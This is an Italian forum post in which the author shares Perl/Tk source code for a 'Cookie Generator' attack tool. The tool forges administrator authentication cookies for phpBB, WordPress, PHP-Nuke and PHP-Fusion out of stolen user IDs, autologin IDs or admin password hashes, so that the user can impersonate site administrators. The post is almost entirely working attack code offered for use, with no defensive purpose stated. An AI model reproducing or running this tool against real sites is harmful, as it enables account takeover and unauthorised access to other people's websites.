Forum programmazione

[DevilAuron]

Posto solo la versione 0.2

Code: Select all

#!/usr/bin/perl
#Cookie Generator v0.2
#Powered By
#     .___          .__.__                                       
#   __| _/_______  _|__|  |   _____   __ _________  ____   ____
#  / __ |/ __ \  \/ /  |  |   \__  \ |  |  \_  __ \/  _ \ /    \
# / /_/ \  ___/\   /|  |  |__  / __ \|  |  /|  | \(  <_> )   |  \
# \____ |\___  >\_/ |__|____/ (____  /____/ |__|   \____/|___|  /
#      \/    \/                    \/                         \/
#                                                                 
#                  www.devilsnight.altervista.org                 
#
# Dedicate to my bro Bled, Shades Master, Ghostfox, Scr34m, Big_SmoKe, Andryxxx and H4rd_Skull

use Tk;
use Digest::MD5 qw( md5_hex );
use MIME::Base64 qw( encode_base64 );

$mw=MainWindow->new(-background=>"black");
$mw->minsize(219,130);
$mw->maxsize(219,130);

$mw-> Label(-text=>"Cookie Generator v0.1\nSeleziona che tipo di cookie vuoi generare\n",
-background=>"black",-foreground=>"blue")->pack(-anchor=>"n");
$mw-> Label(-text=>"Powered By DevilAuron",
-background=>"black",-foreground=>"light blue")->pack(-side=>"bottom",-anchor=>"s");

#PhpBB

$mw->Button(-text=>"PhpBB",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw->Label(-text=>"Inserisci User ID:",-background=>"black",-foreground=>"light blue")->pack(-side=>"top",-anchor=>"n");
$sw->Entry(-textvariable=>\$userid)
->pack(-side=>"top",-anchor=>"n");
$sw->Label(-text=>"Inserisci Autologin ID:",-background=>"black",-foreground=>"light blue")->pack(-side=>"top",-anchor=>"n");
$sw->Entry(-textvariable=>\$autologin)
->pack(-side=>"top",-anchor=>"n");
$sw->Button(-text=>"Genera Cookie!",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$nw=MainWindow->new(-background=>"black");
$nw->minsize(250,50);
$a = 'a:2:{s:11:';
$b = '"autologinid";';
$c = "s:4:";
$d = "$autologin";
$e = ';s:6:"userid"';
$f = ";i:$userid;";
$g = "}";
$coo = $a . $b . $c . $d . $e . $f . $g ;
$nw->Label(-text=>"Cookie Generato!\nCookie Name: phpbb2mysql_data\nContenuto: $coo",-background=>"black",-foreground=>"light

blue")->pack(-side=>"top", -anchor=>"n");
})->pack(-anchor=>"s");
})->pack(-side=>"right");

#WordPress

$mw->Button(-text=>"WordPress",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Inserisci Nick Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$nick)
->pack(-anchor=>"n");
$sw-> Label(-text=>"Inserisci Hash Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$hash)
->pack(-anchor=>"n");
$sw->Button(-text=>"Genera Cookie!",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$mdcinque = md5_hex( "$hash" );
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Cookie Generato! \nNome Cookie: wordpressuser_\nContenuto: $nick\n\nNome Cookie:

wordpresspass_\nContenuto: $mdcinque",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
})->pack(-anchor=>"n");
})->pack(-side=>"right");


#Php-Nuke

$mw->Button(-text=>"Php-Nuke",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Inserisci Nick Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$nick)
->pack(-anchor=>"n");
$sw-> Label(-text=>"Inserisci Hash Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$hash)
->pack(-anchor=>"n");
$sw->Button(-text=>"Genera Cookie!",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$duehash = "$nick" . ":" . "$hash";
$base = encode_base64( "$duehash" );
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Cookie Generato! \n Contenuto: $base",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
})->pack(-anchor=>"n");
})->pack(-side=>"left");

#PhpFusion

$mw->Button(-text=>"PhpFusion",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Inserisci ID Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$id)
->pack(-anchor=>"n");
$sw-> Label(-text=>"Inserisci Hash Admin:",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
$sw->Entry(-textvariable=>\$hash)
->pack(-anchor=>"n");
$sw->Button(-text=>"Genera Cookie!",
-background=>"black",
-foreground=>"light blue",
-activebackground=>"light blue",
-activeforeground=>"black",
-command=>sub{
$duehash = "$id" . "." . "$hash";
$sw=MainWindow->new(-background=>"black");
$sw->minsize(280,80);
$sw-> Label(-text=>"Cookie Generato! \n Contenuto: $duehash",
-background=>"black",-foreground=>"light blue")->pack(-anchor=>"n");
})->pack(-anchor=>"n");
})->pack(-side=>"left");


MainLoop;


##Bye..